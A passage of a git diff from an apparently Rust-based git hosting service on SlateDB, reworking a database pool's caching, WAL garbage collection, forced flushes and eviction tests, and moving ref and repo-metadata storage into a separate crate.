— 640 MiB +/// nominal times `RUSTIC_GIT_MAX_WARM` (64) is 40 GiB against a pod limit in single-digit GiB, so +/// sharing is a memory-safety fix as much as a hit-rate one. SlateDB scopes each database's keys +/// inside its own wrapper, so one instance across every repo cannot mix them up, and a cache +/// handed in this way is never closed by SlateDB — which is what we want when the pool outlives +/// every database in it. The defaults below are node-wide totals and so deliberately far under +/// SlateDB's per-database ones. +fn shared_db_cache() -> Arc { + use slatedb::db_cache::foyer::{FoyerCache, FoyerCacheOptions}; + let mk = |mb: u64| { + Some(Arc::new(FoyerCache::new_with_opts(FoyerCacheOptions { + max_capacity: mb * 1024 * 1024, + ..Default::default() + })) as Arc) + }; + Arc::new( + slatedb::db_cache::SplitCache::new() + .with_block_cache(mk(env_u64("RUSTIC_GIT_SLATEDB_BLOCK_CACHE_MB", 256))) + .with_meta_cache(mk(env_u64("RUSTIC_GIT_SLATEDB_META_CACHE_MB", 64))) + .build(), + ) +} + impl Pool { /// `background`: run SlateDB's compactor and garbage collector inside each repo database. /// Off by default here — at one database per repo, N compactors would poll and compete with @@ -104,20 +169,49 @@ impl Pool { // latency — sets how long a push takes when pushes arrive one at a time. An idle database // does not flush, so a short interval costs nothing until there is something to write. let flush_ms = env_u64("RUSTIC_GIT_FLUSH_INTERVAL_MS", 100); + // WAL collection runs whether or not `background` is set, and has to. A database takes a + // write on every ref update or tag move, and nothing else ever reclaims those WAL objects: + // the ownership map, configured the same way, reached 18,521 WAL files in four days and + // could no longer be opened inside the liveness probe's window, because opening replays + // every one of them. It is the object COUNT that breaks an open, not the bytes — so a repo + // that is written to steadily is on the same path. + // + // Only the WAL. Compaction stays behind `background` for the reason above (N repos means N + // compactors competing with live requests), and manifest/compacted objects are left alone + // so a reader on an older manifest never loses the objects it references. A flushed WAL + // entry is referenced by nobody; `min_age` keeps it well past durability regardless. + // + // What makes a repo's WAL collectable at all is `close()`, which flushes the memtable to + // L0 and so moves `replay_after_wal_id` — collection only ever considers entries behind + // that point. Repo databases get that for free because they are evicted when idle and + // closed, over and over; the ownership map is the one that grew without bound precisely + // because it is opened once and never closed, so nothing ever moved its pointer. + // A repo busy enough never to go idle is never closed either, so it had the same exposure; + // `flush_stale` closes that by forcing the flush on a timer, the same way the leader does + // for the ownership map. + let wal_gc = slatedb::config::GarbageCollectorOptions { + wal_options: Some(slatedb::config::GarbageCollectorDirectoryOptions { + interval: Some(Duration::from_secs(300)), + min_age: Duration::from_secs(300), + dry_run: false, + }), + ..Default::default() + }; let settings = slatedb::config::Settings { flush_interval: Some(Duration::from_millis(flush_ms)), object_store_max_retries: Some(10), // fail loudly instead of retrying forever compactor_options: background.then(|| defaults.compactor_options.clone()).flatten(), - garbage_collector_options: background - .then(|| defaults.garbage_collector_options.clone()) - .flatten(), + garbage_collector_options: Some(wal_gc), + object_store_cache_options: disk_cache_options("slatedb"), ..defaults }; Pool { os, + db_cache: shared_db_cache(), entries: Mutex::new(HashMap::new()), idle_ttl_ms: (env_u64("RUSTIC_GIT_WARM_TTL_SECS", 300) * 1000).into(), max_warm: (env_u64("RUSTIC_GIT_MAX_WARM", 64) as usize).into(), + flush_every_ms: (300_000u64).into(), settings, hook: Mutex::new(None), retires: Mutex::new(Vec::new()), @@ -149,270 +243,12 @@ impl Pool { self.hook.lock().unwrap().as_ref().and_then(Weak::upgrade) } - /// The database for a repo, opening it if this node does not already hold it warm. - /// - /// A closed handle is evicted and reported, NOT reopened. Under routing, "closed" almost always - /// means "fenced": another node opened this repo because it believes it owns it. Reopening here - /// would take it straight back and turn any disagreement into a flap. The caller decides — via - /// the routing rule — whether this node should hold the repo, and only then reopens. /// Whether this pool has been closed on the way out. A closed pool never reopens, so a node in /// this state must not take a lease either — see `App::route`. pub fn is_closed(&self) -> bool { self.closed.load(Ordering::SeqCst) } - pub async fn get(self: &Arc, owner: &str, name: &str) -> Result> { - let h = self.get_once(owner, name).await?; - if h.status().close_reason.is_none() { - return Ok(h); - } - drop(h); - self.evict(owner, name).await; - Err(FencedError { repo: format!("{owner}/{name}") }.into()) - } - - async fn get_once(self: &Arc, owner: &str, name: &str) -> Result> { - if self.closed.load(Ordering::SeqCst) { - return Err(crate::err(format!("{owner}/{name}: pool is closed"))); - } - let key = format!("{owner}/{name}"); - let entry = { - let mut map = self.entries.lock().unwrap(); - let e = map - .entry(key.clone()) - .or_insert_with(|| { - Arc::new(Entry { - db: tokio::sync::OnceCell::new(), - last_used: Mutex::new(Instant::now()), - releasing: AtomicBool::new(false), - }) - }) - .clone(); - *e.last_used.lock().unwrap() = Instant::now(); - e - }; - // Outside the map lock: opening is slow, and holding the lock across it would serialise - // every repo behind whichever one is currently opening. - let handle = entry - .db - .get_or_try_init(|| self.open(owner, name)) - .await - // A failed open leaves an empty cell, so the next caller retries rather than - // inheriting the error. Drop the slot so a poisoned key cannot accumulate. - .inspect_err(|_| { - self.entries.lock().unwrap().remove(&key); - })? - .clone(); - self.enforce_bound().await; - Ok(handle) - } - - async fn open(&self, owner: &str, name: &str) -> Result> { - Ok(Arc::new( - Db::builder(path(owner, name), self.os.clone()) - .with_settings(self.settings.clone()) - .build() - .await?, - )) - } - - /// Drop a repo from the pool and close it, now, with no release and no drain. Two callers: - /// a write that came back fenced (another node already has the epoch), and the renewal task - /// finding this node has lost the lease. Both mean the map no longer names us, so there is - /// nothing to give back and nothing to drain for — holding the handle any longer is the - /// lifecycle invariant's other half broken. - pub async fn evict(&self, owner: &str, name: &str) { - let entry = self - .entries - .lock() - .unwrap() - .remove(&format!("{owner}/{name}")); - // `Arc::into_inner` fails whenever another task still holds the entry — which `get_once` - // does across its whole open — so take the handle out of the shared entry instead. Dropping - // the slot without closing would leave a database open on a lease we were just told we had - // lost (the `renew_once` caller), which is the invariant broken the other way round. - let handle = match entry { - Some(e) => match Arc::try_unwrap(e) { - Ok(e) => e.db.into_inner(), - Err(shared) => shared.db.get().cloned(), - }, - None => None, - }; - // Closing flushes, which a fenced database cannot do; the error is expected and ignored. - if let Some(h) = handle { - let _ = h.close().await; - } - } - - /// Close databases nobody is using: idle past the TTL, or the least recently used once the - /// pool is over `max_warm`. - pub async fn sweep(self: &Arc) { - let picked = self.evictable(Instant::now()); - self.retire(picked).await - } - - async fn enforce_bound(self: &Arc) { - if self.entries.lock().unwrap().len() > self.max_warm() { - let picked = self.evictable(Instant::now()); - self.retire(picked).await - } - } - - /// Pick what may be closed, under one lock, and mark it releasing. An entry still referenced - /// outside the pool is skipped — that is a request in flight, and closing under it would fail - /// the request. It becomes evictable on a later sweep. - /// - /// The entry is deliberately LEFT IN THE MAP: this node still holds the lease until the drain - /// is over, so a request arriving meanwhile must find the handle it is still being routed to. - /// Removing it here would make the pool re-open a database it is about to close — two handles - /// on one repo, and a fence. - fn evictable(&self, now: Instant) -> Vec<(String, Arc)> { - let map = self.entries.lock().unwrap(); - let mut idle: Vec<(Instant, String)> = map - .iter() - .filter(|(_, e)| !e.releasing.load(Ordering::SeqCst)) - .filter(|(_, e)| e.db.get().is_none_or(|db| Arc::strong_count(db) == 1)) - .map(|(k, e)| (*e.last_used.lock().unwrap(), k.clone())) - .collect(); - idle.sort_by_key(|(t, _)| *t); // oldest first - let over = map.len().saturating_sub(self.max_warm()); - let mut out = Vec::new(); - for (i, (last, key)) in idle.into_iter().enumerate() { - if i >= over && now.duration_since(last) < self.idle_ttl() { - continue; // young enough, and we are not over the bound - } - // The handle comes FIRST, and the flag only with it. An entry whose open is still in - // flight (inserted by `get_once`, `OnceCell` not yet filled) has no handle to release - // or close; flagging it would strand it — never released, never closed, and skipped by - // `warm_repos`, so its lease would lapse under a database this node still holds open. - // Skip it; the next sweep picks it up once the open has finished. - if let Some(db) = map.get(&key).and_then(|e| e.db.get()).cloned() { - map[&key].releasing.store(true, Ordering::SeqCst); - out.push((key, db)); - } - } - out - } - - /// Drain, close, THEN give the leases back. Spawned, because the drain is half a second and - /// the sweeper must not block for it. With no hook there is no lease to give back and nothing - /// to wait for. - /// - /// The order is the whole point. Through the drain this node is still the owner on the record - /// AND still holds the handle, so a request routed here by a follower whose map is behind is - /// served rather than fenced. The entry only disappears once the database is shut, so the next - /// claimer opens a repo nobody holds — there is nothing left to fence. - async fn retire(self: &Arc, picked: Vec<(String, Arc)>) { - if picked.is_empty() { - return; - } - let Some(hook) = self.hook() else { - // Should not happen with a hook set: `serve()` holds the `App` for the process's whole - // life. Closing is still better than leaking handles, but say so — this closes without - // releasing, which is the ordering the design forbids. - eprintln!("release hook unavailable: closing {} database(s) WITHOUT releasing; the lease may outlive the handle", picked.len()); // ponytail: eprintln - self.close_all(picked).await; - return; - }; - let pool = self.clone(); - let h = tokio::spawn(async move { - // Still the owner, still serving, for exactly as long as a follower's stale copy of - // the map can still send us traffic. - tokio::time::sleep(crate::ownership::DRAIN).await; - let keys: Vec = picked.iter().map(|(k, _)| k.clone()).collect(); - let skipped = pool.close_all(picked).await; - // Release ONLY what actually closed. A handle skipped for being in use went warm again - // during the drain: it keeps its lease, keeps serving, and a later sweep retries it. - // Deleting its entry here would leave this node holding an open database that the map - // says nobody owns — the lifecycle invariant broken the other way round. - for repo in keys.iter().filter(|k| !skipped.iter().any(|(s, _)| s == *k)) { - hook.release(repo.clone()).await; - } - }); - // Tracked so shutdown can wait for it: a retire dropped mid-sleep would never close its - // databases (WAL replay on the next open), and a `close()` running alongside one would - // release and close the same entries twice. - let mut v = self.retires.lock().unwrap(); - v.retain(|h| !h.is_finished()); - v.push(h); - } - - /// Returns the handles it skipped for being in use, so `close()` can deal with them; a sweep - /// ignores the return value because a later sweep picks them up again. - async fn close_all(&self, picked: Vec<(String, Arc)>) -> Vec<(String, Arc)> { - let mut skipped = Vec::new(); - for (key, h) in picked { - { - let mut map = self.entries.lock().unwrap(); - // Two references are expected: the map's and our own clone in `picked`. A third is - // a request that arrived DURING the drain — which is the whole point of the drain, - // so let it finish. Un-flag the entry and leave it warm for a later sweep. - if Arc::strong_count(&h) > 2 { - if let Some(e) = map.get(&key) { - e.releasing.store(false, Ordering::SeqCst); - } - skipped.push((key, h)); - continue; - } - map.remove(&key); - } - if let Err(e) = h.close().await { - eprintln!("closing warm database failed: {e}"); // ponytail: eprintln; swap for a logger when one exists - } - } - skipped - } - - /// Close every database. Used on shutdown, so the next node to open them replays no WAL — and - /// the leases go back LAST, once nothing is open, or the peer that takes a repo over fences a - /// node still holding it. Same drain-close-release order as eviction. - pub async fn close(self: &Arc) { - self.closed.store(true, Ordering::SeqCst); - // Let any drain already in flight finish first, so it is not dropped mid-sleep and cannot - // race this pass into a double release. Bounded: shutdown must not hang on a stuck close. - let in_flight: Vec<_> = std::mem::take(&mut *self.retires.lock().unwrap()); - for h in in_flight { - let _ = tokio::time::timeout(crate::ownership::DRAIN * 3, h).await; - } - let all: Vec<(String, Arc)> = { - let map = self.entries.lock().unwrap(); - map.iter() - // Same rule as `evictable`: only an entry with a handle may be flagged. One whose - // open is still in flight would otherwise be flagged, skipped here, and then - // dropped by the `clear()` below with its database left open. - .filter_map(|(k, e)| { - let db = e.db.get()?; - e.releasing.store(true, Ordering::SeqCst); - Some((k.clone(), db.clone())) - }) - .collect() - }; - if self.hook().is_some() { - tokio::time::sleep(crate::ownership::DRAIN).await; - } - let keys: Vec = all.iter().map(|(k, _)| k.clone()).collect(); - let skipped = self.close_all(all).await; - // A handle skipped for being in use survives inside its request task, holding the writer - // epoch on a lease already shortened to the drain — so the successor claims half a second - // later and fences a database this dying pod is still writing through. Only here, never in - // the sweep path (a later sweep retries those): at shutdown, cutting one in-flight request - // is strictly better than fencing the new owner. - for (_, h) in skipped { - if let Err(e) = h.close().await { - eprintln!("closing an in-use database at shutdown: {e}"); // ponytail: eprintln - } - } - // Everything is shut now, in-use handles included, so every lease can go back — and only - // now. Releasing before the close is what lets the successor fence a dying pod that is - // still writing. - if let Some(hook) = self.hook() { - for repo in &keys { - hook.release(repo.clone()).await; - } - } - self.entries.lock().unwrap().clear(); // slots whose open never completed - } - /// Whether a repo's database exists, without opening it. /// /// Opening creates: `Db::builder(...).build()` has no create-if-missing switch, so probing an @@ -439,7 +275,6 @@ impl Pool { .is_some()) } - /// The repos this node holds open and still owns, as `owner/name` — what the renewal task /// renews. Entries already picked for retirement are excluded: their lease is about to be /// deleted outright, and extending it first would only widen the window in which the map @@ -455,12 +290,22 @@ impl Pool { } /// Evict idle databases in the background for as long as the pool lives. + /// How long a warm database may go without a flush before the sweeper forces one. Settable so + /// a test can drive the real path rather than assert the constant back to itself. + pub fn flush_every(&self) -> Duration { + Duration::from_millis(self.flush_every_ms.load(Ordering::Relaxed)) + } + pub fn set_flush_every(&self, d: Duration) { + self.flush_every_ms.store(d.as_millis() as u64, Ordering::Relaxed); + } + pub fn spawn_sweeper(self: &Arc) { let pool = self.clone(); tokio::spawn(async move { loop { tokio::time::sleep(pool.idle_ttl() / 4).await; pool.sweep().await; + pool.flush_stale().await; } }); } @@ -469,7 +314,13 @@ impl Pool { #[cfg(test)] mod tests { use super::*; + use futures::stream::BoxStream; use slatedb::object_store::memory::InMemory; + use slatedb::object_store::path::Path as OsPath; + use slatedb::object_store::{ + GetOptions, GetResult, ListResult, MultipartUpload, ObjectMeta, PutMultipartOptions, PutOptions, + PutPayload, PutResult, Result as OsResult, + }; fn pool() -> Arc { Arc::new(Pool::new(Arc::new(InMemory::new()), false)) @@ -484,6 +335,15 @@ mod tests { Arc::new(p) } + /// The disk cache is keyed by database path, so it must never turn itself on at a guessed + /// location: two stores holding different data under `repo/alice/web` would read each other's + /// parts, which is exactly the shape of a test process full of `InMemory` stores. + #[test] + fn the_disk_cache_is_off_unless_a_cache_dir_is_configured() { + let set = std::env::var("RUSTIC_GIT_CACHE_DIR").is_ok(); + assert_eq!(disk_cache_options("slatedb").root_folder.is_some(), set); + } + /// The property the whole design rests on: concurrent callers must share one open, because a /// second open of the same database fences the first. #[tokio::test(flavor = "multi_thread")] @@ -561,6 +421,7 @@ mod tests { Arc::new(Entry { db: tokio::sync::OnceCell::new(), last_used: Mutex::new(Instant::now() - Duration::from_secs(3600)), + last_flush: Mutex::new(Instant::now()), releasing: AtomicBool::new(false), }), ); @@ -570,6 +431,42 @@ mod tests { assert_eq!(p.warm_repos(), vec!["alice/web".to_string()], "still renewed after a sweep"); } + /// An evict that lands while the open is in flight removes a slot with no handle in it. The + /// open then finishes and, before this fix, the handle was returned with no map entry naming + /// it: never swept, never closed, holding the writer epoch for the life of the process. + #[tokio::test] + async fn a_handle_whose_slot_was_evicted_mid_open_is_closed() { + let p = pool(); + let entry = Arc::new(Entry { + db: tokio::sync::OnceCell::new(), + last_used: Mutex::new(Instant::now()), + last_flush: Mutex::new(Instant::now()), + releasing: AtomicBool::new(false), + }); + // Deliberately NOT in the map: the shape an evict leaves behind. A DIFFERENT entry sits + // under the same key, as a reopen after the evict would leave it — so what is being pinned + // here is slot identity, not merely the key being absent. + p.entries.lock().unwrap().insert( + "alice/web".to_string(), + Arc::new(Entry { + db: tokio::sync::OnceCell::new(), + last_used: Mutex::new(Instant::now()), + last_flush: Mutex::new(Instant::now()), + releasing: AtomicBool::new(false), + }), + ); + let db = entry.db.get_or_try_init(|| p.open("alice", "web")).await.unwrap().clone(); + let err = match p.adopt("alice/web", &entry, db.clone()).await { + Ok(_) => panic!("an orphaned handle must not be adopted"), + Err(e) => e, + }; + assert!(is_fenced(&err), "the caller must re-route: {err}"); + assert!(db.status().close_reason.is_some(), "the orphaned handle must be closed"); + // And the slot that IS in the map is adopted as before. + let live = p.get("alice", "web").await.unwrap(); + assert!(live.status().close_reason.is_none()); + } + /// A closed pool stays closed: the listeners are still draining when `close()` returns, and a /// request landing there must not reopen a database and retake the epoch we just released. #[tokio::test] @@ -581,6 +478,119 @@ mod tests { assert_eq!(p.warm_count(), 0); } + /// Wraps an in-memory store and, once `hang` is set, never completes a put: what an object + /// store outage looks like to the flush inside `close()`. + #[derive(Debug)] + struct HangingStore { + inner: InMemory, + hang: Arc, + } + + impl std::fmt::Display for HangingStore { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "HangingStore") + } + } + + #[async_trait::async_trait] + impl ObjectStore for HangingStore { + async fn put_opts( + &self, + location: &OsPath, + payload: PutPayload, + opts: PutOptions, + ) -> OsResult { + if self.hang.load(Ordering::SeqCst) { + std::future::pending::<()>().await; + } + self.inner.put_opts(location, payload, opts).await + } + async fn put_multipart_opts( + &self, + location: &OsPath, + opts: PutMultipartOptions, + ) -> OsResult> { + self.inner.put_multipart_opts(location, opts).await + } + async fn get_opts(&self, location: &OsPath, options: GetOptions) -> OsResult { + self.inner.get_opts(location, options).await + } + fn delete_stream( + &self, + locations: BoxStream<'static, OsResult>, + ) -> BoxStream<'static, OsResult> { + self.inner.delete_stream(locations) + } + fn list(&self, prefix: Option<&OsPath>) -> BoxStream<'static, OsResult> { + self.inner.list(prefix) + } + async fn list_with_delimiter(&self, prefix: Option<&OsPath>) -> OsResult { + self.inner.list_with_delimiter(prefix).await + } + async fn copy_opts( + &self, + from: &OsPath, + to: &OsPath, + options: slatedb::object_store::CopyOptions, + ) -> OsResult<()> { + self.inner.copy_opts(from, to, options).await + } + } + + /// `evict` runs on the renewal task: a close whose flush never returns must not hold every + /// other lease's renewal hostage. Paused time makes the 30s patience instant; the elapsed + /// check proves the close really did hang rather than finish with nothing to flush. + #[tokio::test(start_paused = true)] + async fn evict_does_not_wait_forever_on_a_hung_close() { + let hang = Arc::new(AtomicBool::new(false)); + let os: Arc = + Arc::new(HangingStore { inner: InMemory::new(), hang: hang.clone() }); + let p = Arc::new(Pool::new(os, false)); + p.get("alice", "web").await.unwrap().put(b"k", b"v").await.unwrap(); + hang.store(true, Ordering::SeqCst); + + let started = tokio::time::Instant::now(); + tokio::time::timeout(Pool::FLUSH_PATIENCE * 2, p.evict("alice", "web")) + .await + .expect("evict must return within the patience window"); + assert!(started.elapsed() >= Pool::FLUSH_PATIENCE, "the close did not hang; test proves nothing"); + assert_eq!(p.warm_count(), 0, "the handle is out of the map even while its close hangs"); + } + + /// A stale evict (keyed on a handle that was fenced) must not close a fresh handle that a + /// concurrent caller already reopened into the same slot — that would flap both requests. + #[tokio::test] + async fn evict_spares_a_freshly_reopened_handle() { + let p = pool(); + let h1 = p.get("alice", "web").await.unwrap(); // handle A, observed fenced by some caller + p.evict("alice", "web").await; // simulate: someone else already evicted A + let h2 = p.get("alice", "web").await.unwrap(); // handle B, a fresh reopen into the slot + assert!(!Arc::ptr_eq(&h1, &h2)); + + p.evict_if_same("alice", "web", &h1).await; // stale evict, still keyed on A + + let h3 = p.get("alice", "web").await.unwrap(); + assert!(Arc::ptr_eq(&h2, &h3), "evict_if_same must not have closed the fresh handle"); + } + + /// A handle that was closed for any reason but a fence is dead, not stolen: report a plain + /// error (the next call reopens) rather than a fence (the caller would re-route and + /// force-claim a repo nobody took). + #[tokio::test] + async fn a_cleanly_closed_handle_is_not_reported_as_fenced() { + let p = pool(); + let h = p.get("alice", "web").await.unwrap(); + h.close().await.unwrap(); + drop(h); + let e = match p.get("alice", "web").await { + Ok(_) => panic!("a closed handle must be reported, not handed out"), + Err(e) => e, + }; + assert!(!is_fenced(&e), "clean close reported as a fence: {e}"); + assert_eq!(p.warm_count(), 0, "the dead handle is dropped"); + p.get("alice", "web").await.unwrap().put(b"k", b"v").await.unwrap(); + } + /// When another node takes a repo's writer epoch, the handle here is fenced. The pool must /// evict it and REPORT the fence rather than silently reopening — reopening would take the /// repo straight back and flap. Only a caller that has re-run routing may reopen. @@ -621,4 +631,38 @@ mod tests { db.put(b"k4", b"v4").await.unwrap(); assert_eq!(db.get(b"k2").await.unwrap().as_deref(), Some(&b"v2"[..])); } + + /// The gap `flush_stale` exists for: a database in constant use is never idle, so it is never + /// evicted, so it is never closed — and `close()` is what would otherwise flush its memtable + /// and let its WAL be collected. Held across the call here exactly as a busy repo would be. + #[tokio::test] + async fn a_database_that_is_never_idle_still_gets_flushed() { + let p = pool_with(Duration::from_secs(3600), 64); // never idle-evictable + p.set_flush_every(Duration::ZERO); // due immediately + let held = p.get("alice", "web").await.unwrap(); + held.put(b"k", b"v").await.unwrap(); + + assert_eq!(p.warm_count(), 1); + p.flush_stale().await; + // Still open and still usable: this is a flush, not a close. + assert_eq!(p.warm_count(), 1, "flush_stale must not evict"); + held.put(b"k2", b"v2").await.unwrap(); + + // A sweep cannot have been what did it — the entry is still referenced, so it is not + // evictable at all. + p.sweep().await; + assert_eq!(p.warm_count(), 1); + } + + /// Not due yet, so nothing is touched. Guards the timer actually being consulted: a + /// `flush_stale` that flushed unconditionally would flush every warm database every sweep. + #[tokio::test] + async fn flush_stale_leaves_recently_flushed_databases_alone() { + let p = pool_with(Duration::from_secs(3600), 64); + p.set_flush_every(Duration::from_secs(3600)); + let held = p.get("alice", "web").await.unwrap(); + held.put(b"k", b"v").await.unwrap(); + p.flush_stale().await; + assert_eq!(p.warm_count(), 1); + } } diff --git a/src/refs.rs b/crates/storage/src/refmeta.rs similarity index 69% rename from src/refs.rs rename to crates/storage/src/refmeta.rs index 2a6d2a19..dfe62c45 100644 --- a/src/refs.rs +++ b/crates/storage/src/refmeta.rs @@ -1,11 +1,30 @@ +//! Ref and repo-metadata storage: the gix-free half of what was `src/refs.rs`. +//! +//! `crates/gitbase/src/refs.rs` keeps `protection_verdict` and +//! `is_ancestor`, which walk history via `gix-traverse` — a dependency `storage` must not carry +//! (see `crates/storage/Cargo.toml`; `Repo::odb() -> gix_odb::Handle` is the only gix surface this +//! crate exposes). Everything else that used to live in one `impl Store` block in `refs.rs` is +//! plain SlateDB CRUD with no gix at all, and it has to live wherever `Store` lives — Rust's orphan +//! rule forbids an inherent `impl Store` outside the crate that defines `Store`, so once `Store` +//! moved here, so did every inherent method on it, this included. `update_refs` itself is split at +//! its one gix-touching step: `update_refs_txn` here does the transactional compare-and-swap; +//! `refs::update_refs` in `crates/gitbase` computes the protection verdicts (the part that needs +//! `gix-traverse`) and then calls it. See task-3-report.md for the full account. + use crate::store::{Repo, Store}; use crate::{err, Result}; use gix_hash::ObjectId; use slatedb::{ErrorKind, IsolationLevel, WriteBatch}; -/// ponytail: fixed default branch; store per-repo when it becomes configurable -pub const DEFAULT_BRANCH: &str = "main"; +/// Everything a repo records about itself, read in one pass. +pub struct RepoMeta { + pub description: String, + pub created_by: String, + pub created_at_ms: i64, + pub public: bool, +} +#[derive(Clone)] pub struct RefUpdate { pub name: String, pub old: Option, @@ -33,6 +52,14 @@ fn parse_oid(b: &[u8]) -> Result { /// repo state, read on the owner alongside the refs it guards. const PUBLIC_KEY: &[u8] = b"meta/public"; +/// A repo's own description of itself. Discrete keys rather than one encoded blob so a +/// description edit is a single put that a concurrent visibility flip cannot clobber. +const DESCRIPTION_KEY: &[u8] = b"meta/description"; +const CREATED_BY_KEY: &[u8] = b"meta/created_by"; +/// Milliseconds since epoch, decimal. Also the sentinel for "metadata was never written" — +/// `meta/public` predates this namespace, so it cannot answer that question. +const CREATED_AT_KEY: &[u8] = b"meta/created_at"; + /// Branch protection, one key per pattern, in the REPO's own database. /// /// Not in the directory with teams and repos: the git nodes have no database @@ -98,28 +125,6 @@ impl Protection { } } -/// `refs/heads/x` -> `x`. Only branches are protectable; a tag is not a line of -/// development and `refs/tags/` is already immutable by convention. -fn branch_of(refname: &str) -> Option<&str> { - refname.strip_prefix("refs/heads/") -} - -/// Is `old` reachable from `new`? That is what makes a push a fast-forward. -/// -/// Bounded: a walk that has not found the old tip within `budget` commits is -/// treated as NOT an ancestor, so an enormous rewrite is refused rather than -/// allowed by exhaustion. Refusing is the safe direction — the push fails loudly -/// and a person can turn the rule off, where the reverse silently loses history. -fn is_ancestor(odb: &gix_odb::Handle, old: ObjectId, new: ObjectId, budget: usize) -> bool { - old == new - || gix_traverse::commit::Simple::new(Some(new), odb.clone()) - .take(budget) - .any(|info| info.is_ok_and(|i| i.id == old)) -} - -/// How far back a fast-forward check will look before giving up and refusing. -const ANCESTRY_BUDGET: usize = 50_000; - impl Store { pub async fn create_repo(&self, owner: &str, name: &str) -> Result<()> { if !crate::store::valid_owner(owner) || !crate::store::valid_segment(name) { @@ -197,6 +202,9 @@ impl Store { b.delete(repo_key(owner, name)); db.write(b).await?; self.delete_objects(owner, name).await?; + // The database's own files too, not just the git objects: a surviving `repo/{owner}/{name}/` + // directory is storage nobody reclaims AND a repo the GC sweep resurrects a marker for. + self.delete_repo_db(owner, name).await?; // Orphans every cached answer for this repo: a name can be recreated, and a hit from the // deleted repo's life would be served for the new one. Propagated, not swallowed: the // repo is already gone from the database by here, so a silent failure would leave its @@ -227,6 +235,53 @@ impl Store { Ok(()) } + pub async fn set_repo_meta( + &self, + owner: &str, + name: &str, + description: &str, + created_by: &str, + created_at_ms: i64, + ) -> Result<()> { + let db = self.db_for(owner, name).await?; + let mut b = WriteBatch::new(); + b.put(DESCRIPTION_KEY, description.as_bytes()); + b.put(CREATED_BY_KEY, created_by.as_bytes()); + // Last in the batch is cosmetic — the batch is atomic — but keeps the sentinel's + // ordering intent visible next to the readers that rely on it. + b.put(CREATED_AT_KEY, created_at_ms.to_string().as_bytes()); + db.write(b).await?; + Ok(()) + } + + /// One read of the whole of a repo's own account of itself, visibility included, so a caller + /// gets one coherent answer instead of two round trips that can disagree. + pub async fn repo_meta(&self, owner: &str, name: &str) -> Result> { + let db = self.db_for(owner, name).await?; + let Some(at) = db.get(CREATED_AT_KEY).await? else { + return Ok(None); + }; + let created_at_ms = String::from_utf8_lossy(&at) + .parse() + .map_err(|e| err(format!("{owner}/{name}: bad meta/created_at: {e}")))?; + let text = |v: Option| { + v.map(|b| String::from_utf8_lossy(&b).into_owned()).unwrap_or_default() + }; + Ok(Some(RepoMeta { + description: text(db.get(DESCRIPTION_KEY).await?), + created_by: text(db.get(CREATED_BY_KEY).await?), + created_at_ms, + public: db.get(PUBLIC_KEY).await?.as_deref() == Some(b"1"), + })) + } + + /// No cache generation bump, unlike `set_public`: a description authorizes nothing, so a + /// stale cached copy is wrong text, never wrong access. + pub async fn set_repo_description(&self, owner: &str, name: &str, description: &str) -> Result<()> { + self.db_for(owner, name).await?.put(DESCRIPTION_KEY, description.as_bytes()).await?; + Ok(()) + } + pub async fn is_public(&self, owner: &str, name: &str) -> Result { Ok(self.db_for(owner, name).await?.get(PUBLIC_KEY).await?.as_deref() == Some(b"1")) } @@ -244,6 +299,19 @@ impl Store { .is_some()) } + /// Exists AND public, in one database open: the git front door asks both questions on every + /// request, and asking them through `repo_exists` + `is_public` paid two `db_for` resolutions + /// and three sequential gets. The object-store probe still runs first — `db_for` CREATES a + /// database for whatever name it is handed, and this is reachable anonymously. + pub async fn repo_public(&self, owner: &str, name: &str) -> Result { + if !self.repo_db_exists(owner, name).await? { + return Ok(false); + } + let db = self.db_for(owner, name).await?; + let (exists, public) = tokio::join!(db.get(repo_key(owner, name)), db.get(PUBLIC_KEY)); + Ok(exists?.is_some() && public?.as_deref() == Some(b"1")) + } + pub async fn get_ref(&self, repo: &Repo, name: &str) -> Result> { match self .db_for(&repo.owner, &repo.name).await? @@ -270,39 +338,6 @@ impl Store { Ok(out) } - /// `Some(reason)` if a rule refuses this update. The reason is shown to the - /// person pushing, so it says which rule and which branch. - fn protection_verdict( - &self, - rules: &[Protection], - odb: Option<&gix_odb::Handle>, - u: &RefUpdate, - ) -> Option { - let branch = branch_of(&u.name)?; - let rule = rules.iter().find(|r| r.matches(branch))?; - - if u.new.is_none() { - return rule - .no_delete - .then(|| format!("{branch} is protected: it cannot be deleted")); - } - // Creating a branch is not a rewrite; only a move from an existing tip can - // be one. - let (Some(old), Some(new)) = (u.old, u.new) else { return None }; - if !rule.no_force { - return None; - } - // No odb means the check cannot be made, and a rule that cannot be checked - // must refuse rather than wave the push through. - let Some(odb) = odb else { - return Some(format!("{branch} is protected: its history could not be verified")); - }; - (!is_ancestor(odb, old, new, ANCESTRY_BUDGET)) - .then(|| format!("{branch} is protected: force pushes are not allowed")) - } - - /// All-or-nothing compare-and-swap of refs in one serializable txn. - /// Per update: `None` = applied, `Some(reason)` = rejected (then nothing is applied). /// Every protection rule on this repo. pub async fn protections(&self, owner: &str, name: &str) -> Result> { let prefix = protect_scan(owner, name); @@ -331,6 +366,12 @@ impl Store { if p.pattern.contains("//") || p.pattern.starts_with('/') { return Err(err("that is not a branch pattern")); } + // `matches` honours a trailing `*` and nothing else; a pattern with one elsewhere would + // be stored, match nothing, and read as protection to whoever wrote it. + let stem = p.pattern.strip_suffix('*').unwrap_or(&p.pattern); + if stem.contains('*') { + return Err(err("only a trailing * is supported in a branch pattern")); + } self.db_for(owner, name) .await? .put(protect_key(owner, name, &p.pattern), &p.encode()) @@ -346,10 +387,23 @@ impl Store { Ok(()) } - pub async fn update_refs( + /// All-or-nothing compare-and-swap of refs in one serializable txn, given the protection + /// verdict for each update already decided. + /// + /// Split out of the original `update_refs` (all of `refs.rs`) at its one gix-touching step: + /// deciding those verdicts needs `protection_verdict`/`is_ancestor` (`gix-traverse`), which + /// `storage` must not depend on — see this file's module doc. `crate::refs::update_refs` in + /// `gitbase::refs` computes the verdicts and calls this. Per update: `None` = applied, + /// `Some(reason)` = rejected (then nothing is applied). + /// + /// Call via `refs::update_refs` (or the `UpdateRefsExt` sugar), not directly: this half only + /// applies verdicts it is handed, it does not compute protection — calling it straight + /// bypasses branch protection entirely. + pub async fn update_refs_txn( &self, repo: &Repo, updates: &[RefUpdate], + verdicts: Vec>, ) -> Result>> { let txn = self .db_for(&repo.owner, &repo.name).await? @@ -358,15 +412,8 @@ impl Store { let mut results = Vec::with_capacity(updates.len()); let mut any_rejected = false; - // Enforced HERE rather than in the push path, so ssh and http and every - // future caller are covered by one check — the same reasoning as the cache 